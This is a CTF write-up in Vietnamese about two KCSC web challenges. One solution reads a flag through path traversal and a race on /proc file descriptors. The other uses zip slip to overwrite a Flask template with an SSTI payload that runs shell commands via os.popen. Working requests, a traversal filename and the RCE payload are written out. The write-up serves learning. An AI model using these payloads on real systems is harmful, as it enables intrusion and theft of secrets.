Cũng đã 1 khoảng thời gian sau lần cuối mình viết write up ctf challenge, phải nói rằng là khả năng chơi ctf của mình đang kém và cần phải rèn dũa thêm, kết quả của cuộc thi lần này đã minh chứng cho điều đó. Mình tham gia KCSC CTF với team 4 người chơi web và sau 8 tiếng bọn mình solve được 1 bài trên tổng số 6 mà bài web đó không phải do cả team cùng làm mà mang tính cá nhân rõ rệt. Bọn mình đã không trao đổi và cùng nhau giải cái challenge mà lại đi chơi kiểu mỗi người một chall, dẫn đến 4 anh em stuck ở 4 nơi mà chả biết phải support nhau như thế nào, đây là bài học quý giá mà mình cần phải rút kinh nghiệm trong khoản giao tiếp với đồng đội ở các cuộc thi tới. Các web challenge năm nay đối với mình đều rất mới, độc và lạ. Nó toàn là những kiến thức mình không biết hoặc là rất yếu nên sau cuộc thi mình đã học được rất nhiều qua những anh em làm được và chỉ cho mình. Thôi không lan man nữa, mình sẽ bắt đầu nói về quá trình tìm tòi và giải quyết các web challenge của giải này. # Bài Ka Tuổi Trẻ ## Preface Đây là challenge mình dành nhiều thời gian nhất để tập trung giải quyết, tuy nhiên mình vẫn không thể giải được và nhận ra mình đã hiểu sai bản chất sau khi biết được hướng solve. Challenge bao gồm web server flask và nginx đứng ra làm proxy, challenge cũng có source nên mình sẽ đi vào phân tích luôn ## Source code ### Dockerfile ``` COPY flag.txt /flag.txt RUN chmod 444 /flag.txt ``` Dựa vào file docker chỉ có quyền đọc và flag không thêm ký tự bất kỳ, mình nghĩ có thể solve challenge bằng lỗi đọc file local mà có thể không phải RCE ### Web server Chức năng của webserver khá đơn giản, chỉ có một route duy nhất `/` có khả năng đọc file nằm trong thư mục static thông qua tham số `file` có trong url: ```python! app = Flask(__name__, static_url_path='/static', static_folder='static') @app.get('/') def home(): if request.args.get('file'): filename = join("./static", request.args.get('file')) if isfile(normpath(filename)) and access(normpath(filename), R_OK) and (stat(normpath(filename)).st_size < 1024 * 1024 * 2): try: with open(normpath(filename), "rb") as file: if not regex.search(r'^(([ -~])+.)+([(^~\'!*<>:;,?"*|%)]+)|([^\x00-\x7F]+)(([ -~])+.)+$', filename, timeout=2) and "flag" not in filename: return file.read(1024 * 1024 * 2) except: pass return redirect("/?file=index.html") ``` Như mình nói ở trên, giá trị của biến `file` được đưa vào nối với thư mục `/static` bằng **join**, sau đó đường dẫn file liên tục đưa vào hàm **normpath** và kiểm tra xem file có tồn tại không (isfile), có đọc được không (access) và kiểm tra độ lớn file có nhỏ hơn 2MB không, nếu có thì bắt đầu đi kiểm tra tiếp. Tiến hành mở file đó ra với filename đưa vào normpath, filename bị kiểm tra bằng một chuỗi regex rất to và quá trình kiểm tra được đặt **timeout** là **2s**, và kiểm tra nếu chữ `flag` có trong filename không, thỏa mãn sẽ đọc file, còn không sẽ bỏ qua. Sau khi mình đọc source, mình thấy có vài thứ khả nghi: - Tính năng join có khả năng dính path traversal, có thể dùng để đọc file local - Hàm normpath xuất hiện rất nhiều - Đoạn regex kia rất dài và khó hiểu nhưng để timeout 2 giây mình chưa hiểu để làm gì - Quả `"flag" not in filename` quá trí mạng và chưa có cách bypass, nghi vấn có khả năng không đọc bằng cái hàm file.read đằng sau ## Bypass Ban đầu mình cố gắng để bypass đoạn `"flag" not in filename` bằng cách tìm vuln của hàm normpath vì mình thấy hàm này lạ, và thực sự nó có một CVE path traversal với hàm normpath này: [CVE-2023-41105](https://github.com/JawadPy/CVE-2023-41105-Exploit), mình đã thử cách này nhưng python của challenge là python 3.12, còn phiên bản dính lỗi là từ 3.11 đến 3.11.4, nên cách này ta bỏ. Sau đó mình tiếp tục thử bypass cái if kia bằng hex encode nhưng dấu `\` khi gửi sẽ biến thành `\x5c` và khi vào hàm normpath không render ra được chữ, nên cách này cũng không khả thi. Sau đó mình rất bí và không nghĩ ra được cách nào nữa, cho đến khi hint thứ nhất xuất hiện, hint đầu tiên là cách đọc file từ file descriptor: [Reads from the file descriptor](https://bash.cyberciti.biz/guide/Reads_from_the_file_descriptor_(fd)). Quả hint này làm mình tốn rất nhiều thời gian để hiểu, sau khi đọc đi đọc lại và mình mang cái script trong ví dụ kia, mình nôm na nghĩ là khi mình tạo ra tiến trình đọc một file thì tiến trình đọc file đó sẽ xuất hiện vào luồng file descriptor của tiến trình. Trong linux mình có thể biểu diễn mọi thứ thông qua hệ thống file, được thể hiện trong folder `/proc/{pid}/fd` , pid là số thứ tự của tiến trình đó, bên trong thư mục này tiếp tục sẽ có các số nguyên biểu thị cho các luồng dữ liệu có trong tiến trình, trong đó mặc định có 0-stdin, 1-stdout, 2-stderr, ngoài ra còn có thể có các luồng khác tùy với tiến trình đó tương tác như thế nào với các file trong Linux. Một câu hỏi to đùng của mình đặt ra lúc đó là server đâu có động đến được file /flag.txt -> làm sao để nó vào được một luồng trong fd của tiến trình, và làm sao để mình biết được số nguyên đó? Chính bởi vì lúc đó mình không hiểu bản chất của `/proc/{pid}/fd`, mình đã nghĩ rằng nó sẽ bay vào các luồng có trong tiến trình chạy flask nếu như mình spam request read file `?file=/flag.txt`, nhưng nó không hoạt động như thế. Sau khi kết thúc cuộc thi, mình được người anh em [Twil4](https://hackmd.io/@Twil4) gửi cho doc nói về thư mục /proc này, đây là một bài đọc rất chi tiết về các subfolder có trong /proc: `https://www.anquanke.com/post/id/241148`, mình để ý có một đoạn như này ![image](https://hackmd.io/_uploads/rJVw7URzR.png) Đây là ví dụ về một bài ctf, trong bài đó challenge mở và đọc file `/tmp/secret` sau đó xóa file, và author đã giải thích rằng trong Linux nếu một chương trình mở một file bằng open() và không đóng nó ở cuối thì dù sau khi xóa file thì nội dung vẫn tồn tại ở trong thư mục file descriptor - fd tại tiến trình đó. Bằng file descriptor, ta vẫn có thể đọc nội dung của file đã bị xóa khi biết được pid của tiến trình, từ đó author Intruder để lấy nội dung file và solve challenge. Vậy là khi open file là file đó được đưa vào thư mục fd của tiến trình đó, và nó sẽ tồn tại cho đến khi ta kết thúc quá trình đọc file, hoặc là close nó. Khoan, challenge rõ ràng đã đọc file mà ta chỉ định rồi mới đưa vào kiểm tra và quyết định xem có đọc file hoặc bỏ qua hay không. => Vậy mình có thể đọc nội dung của file đó nếu như mình biết được pid và số hiệu luồng dữ liệu. Để thử thì mình sẽ nhồi thêm câu lệnh sleep vào source code sau khi đọc file để server dừng lại đủ lâu cho mình quan sát: ![image](https://hackmd.io/_uploads/H1QgSUCzC.png) Mình gửi request đọc file flag cho server: ![image](https://hackmd.io/_uploads/SywfH8CzA.png) Server đang sleep nên mình đi vào tiến trình trong folder /proc để xem thì mình thấy luồng số 10 của tiến trình 7 là symlinks đến file flag.txt ![image](https://hackmd.io/_uploads/S1-IBIAf0.png) Mình đọc file đó thì cũng tương ứng với việc đọc file /flag.txt: ``` /home/app $ cat /proc/7/fd/10 KCSC{REACTED} ``` ![image](https://hackmd.io/_uploads/H1ReI8Cf0.png) Và sau khi server xử lý xong thì luồng đó biến mất, chứng tỏ đoạn code `with open` khi chạy hết sẽ tự động đóng lại quá trình mở và đọc file. Mình deploy đi deploy lại trên local thì lần đầu lúc nào cũng sẽ là /proc/7/fd/10, nên mình nghĩ rằng nó sẽ vào luồng số 10 :)) Tổng kết lại, mình cần kéo dài nhiều thời gian nhất có thể để thử xem luồng nào là luồng đang chứa flag, vì ngoài server thật mình làm gì được sleep(200). Vốn đã không hiểu đoạn regex dùng để làm gì, nhưng giờ mình mới nhận ra nó có thể giúp mình kéo dài thời gian với cái thuộc tính timeout=2, giờ mình cần tạo 1 cái filename dài, rất dài để quá trình xử lý bằng regex càng lâu càng tốt, trong lúc đó mình cần phải thử để xem pid nào đúng, từ đó lum flag. ## Exploit: Mình cần 2 request để thực hiện giải quyết challenge, với request câu thời gian mở file, mình sử dụng nhiều dấu path traversal để độ dài của biến file là lớn nhất có thể: ```! GET /?file=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../flag.txt HTTP/1.1 Host: localhost:8888 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36 Connection: close ``` Request này của mình lúc nào gửi cũng mất 2 giây, trong lúc đó mình gửi request thứ 2 để tìm luồng đang chứa nội dung file flag: ```! GET /?file=/proc/7/fd/10 HTTP/1.1 Host: localhost:8888 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36 Connection: close ``` Sau khi thử một hồi thì mình cũng có được flag: ![image](https://hackmd.io/_uploads/HyCNY80fC.png) Kết quả của mình trên server: ![image](https://hackmd.io/_uploads/B1_KKI0zC.png) Flag của challenge: **KCSC{D1eu_tuу3t_v01_n@m_o_n0i_ch1nh_ta_ch@ng_can_tim_d@u_xa}** # Simple Flask ## Source code Đây là một trong những bài có trick khá hay mà mình không nghĩ đến, mình cũng đã tốn kha khá thời gian cho challenge này và không có kết quả gì nên đành đi làm bài khác: ### Dockerfile ``` FROM python:3.8-bullseye COPY ./src /app WORKDIR /app RUN pip install -r requirements.txt EXPOSE 5000 ENV FLAG=KCSC{REDACTED} CMD ["python", "app.py"] ``` Flag là một biến môi trường, vậy để solve chall mình cần đọc /proc/self/environ hoặc thực thi câu lệnh để xem các biến môi trường của challenge ### Web server Ta cũng chỉ có một file **app.py** chứa 2 path khá cơ bản, mình sẽ đến với path "/" trước: ```python! def list_all_files(mypath: str): output = [] for path, subdirs, files in os.walk(mypath): for name in files: output.append(os.path.join(path, name)) return output @app.route('/') def index(): mypath = "uploads" uploaded_file = list_all_files(mypath) return render_template('index.html', data = uploaded_file) ``` Trang chủ được sử dụng để list ra các file có trong path `uploads/`, sử dụng hàm list_all_files để hiển thị file ```python! def fileIsSafe(file_ext: str): if not file_ext: return False if re.match(r'\.(py|ini|html|htm|env|bash|sh|so|preload)', file_ext): return False return True @app.route('/upload', methods=['POST']) def upload(): if not request.files['file']: return "Not file provided" else: try: client_file = request.files['file'] with zipfile.ZipFile(client_file, 'r') as zip_ref: for name in zip_ref.namelist(): _, file_ext = os.path.splitext(name) if fileIsSafe(file_ext): if len(name.split("/")) != 1: curr_path = "uploads" for folder_name in name.split("/")[:-1]: curr_path += f"/{folder_name}" if not os.path.exists(curr_path): os.mkdir(curr_path) dest_path = os.path.normpath(f"uploads/{name}") with open(dest_path, "wb") as f: f.write(zip_ref.read(name)) except Exception as e: return e return "Success! Check uploads/ folder" ``` Tại path `/upload`, ta được upload 1 file zip, sau đó server lấy ra extension của file bằng `os.path.splitext`, kiểm tra trong hàm fileIsSafe -> loại bỏ hầu như gần hết các đuôi file có thể upload trong python. Sau đó lấy các thư mục của file có trong thư mục zip, nếu chúng chưa tồn tại sẽ khởi tạo thư mục mới đó trong uploads. Sau đó chương trình ghi nội dung của file có trong file zip bằng cách đọc nội dung file trong file zip và viết vào đường dẫn tương ứng ở trong `uploads/`. Nghe có vẻ là một cách hay thay cho việc extract. ## Bypass Mình đã thử symlink và nén vào file zip rồi upload lên nhưng kết quả không mấy khả quan. Sau khi thấy việc upload file zip nhưng không extract mà dựa vào tên file để đọc và lấy nội dung, mình nghi ngờ việc liệu server có thực sự dính zip slip không? Lúc đó mình chỉ chăm chăm đi tìm cách để đọc file /proc/self/environ bằng symlink và không đạt được kết quả gì. Ngồi thử một hồi không được, mình quyết định chuyển qua exploit bằng filename, vì chương trình dựa vào tên file của file trong file zip để đọc nội dung nên mình nghĩ có thể truyền vào tên file dạng `../../../../../../proc/self/environ` để đọc, nhưng cách nghĩ này sai ở 2 chỗ: - Nếu như file đó thực sự được lưu thì nó sẽ đồng thời ghi đè luôn file /proc/self/environ thực sự bằng nội dung của mình, và nếu như vậy mình cũng không đọc được nó, coi như huề cả làng - Hàm **fileIsSafe** trả về false khi file truyền vào không có extension, kế hoạch đọc file đã đổ bể Sau đó mình đã không nghĩ ra được cách nào khác, vì cứ đinh ninh rằng hàm kia đã cấm .py, .html thì còn upload ghi đè với zip slip gì nữa. Nhưng mình đã nhầm Người bạn của mình là [Chuong](https://github.com/caodchuong312) đã bảo rằng vẫn có thể zip slip, và vẫn có thể ghi đè được file html. Mình tìm đến [Zip slip example](https://github.com/snyk/zip-slip-vulnerability/tree/master/archives) và tải file zip-slip.zip về để upload, và mình nhận ra mình đã nhận định sai. Mình vẫn có thể zip slip vào phần filename: ![image](https://hackmd.io/_uploads/Hyvf7wRGR.png) Vào phần file mình thấy evil.txt được ghi vào trong tmp, chứng tỏ có thể khai thác zip slip: ![image](https://hackmd.io/_uploads/Hy_r7wAzR.png) Và hơn nữa, mình có thể bypass hàm kiểm tra bằng cách ghi đè file html bằng HTML Như vậy, mình sẽ khai thác zip slip với filename có dạng `../../../../../../../../../app/templates/index.HTML` rồi SSTI tại file html đó để RCE lấy flag: ## Exploit Đầu tiên mình sẽ tạo file index.HTML tương ứng trong kali: ```! ┌──(root㉿kali)-[/home/kali/Desktop] └─# mkdir -p /app/templates ┌──(root㉿kali)-[/home/kali/Desktop] └─# nano "../../../../../../../../../app/templates/index.HTML" ``` Mình chèn vào file html payload SSTI kèm câu lệnh env để hiển thị tất cả các environment variables: ```! {% print(self.__init__.__globals__.__builtins__.__import__('os').popen('env').read()) %} ``` Sau đó mình zip file lại: ``` ┌──(root㉿kali)-[/home/kali/Desktop] └─# curl -F file=@a.zip http://192.168.92.1:5000/upload Success! Check uploads/ folder ``` Vì ghi đè html nên mình chọn cách curl để lấy thông tin về cho tiện, và cách này chỉ có thể làm lần đầu khi chưa render web vì nếu đã vào thì website sẽ lưu lại template cũ mà không render template mới của mình: ```! ┌──(root㉿kali)-[/home/kali/Desktop] └─# curl http://192.168.92.1:5000/ HOSTNAME=7f7fa83b3eef PYTHON_PIP_VERSION=23.0.1 HOME=/root GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568 WERKZEUG_SERVER_FD=3 PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/dbf0c85f76fb6e1ab42aa672ffca6f0a675d9ee4/public/get-pip.py PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin LANG=C.UTF-8 PYTHON_VERSION=3.8.19 PYTHON_SETUPTOOLS_VERSION=57.5.0 PWD=/app PYTHON_GET_PIP_SHA256=dfe9fd5c28dc98b5ac17979a953ea550cec37ae1b47a5116007395bfacff2ab9 FLAG=KCSC{REDACTED} ``` ![image](https://hackmd.io/_uploads/r1OzBwCG0.png) Exploit thành công :heavy_check_mark: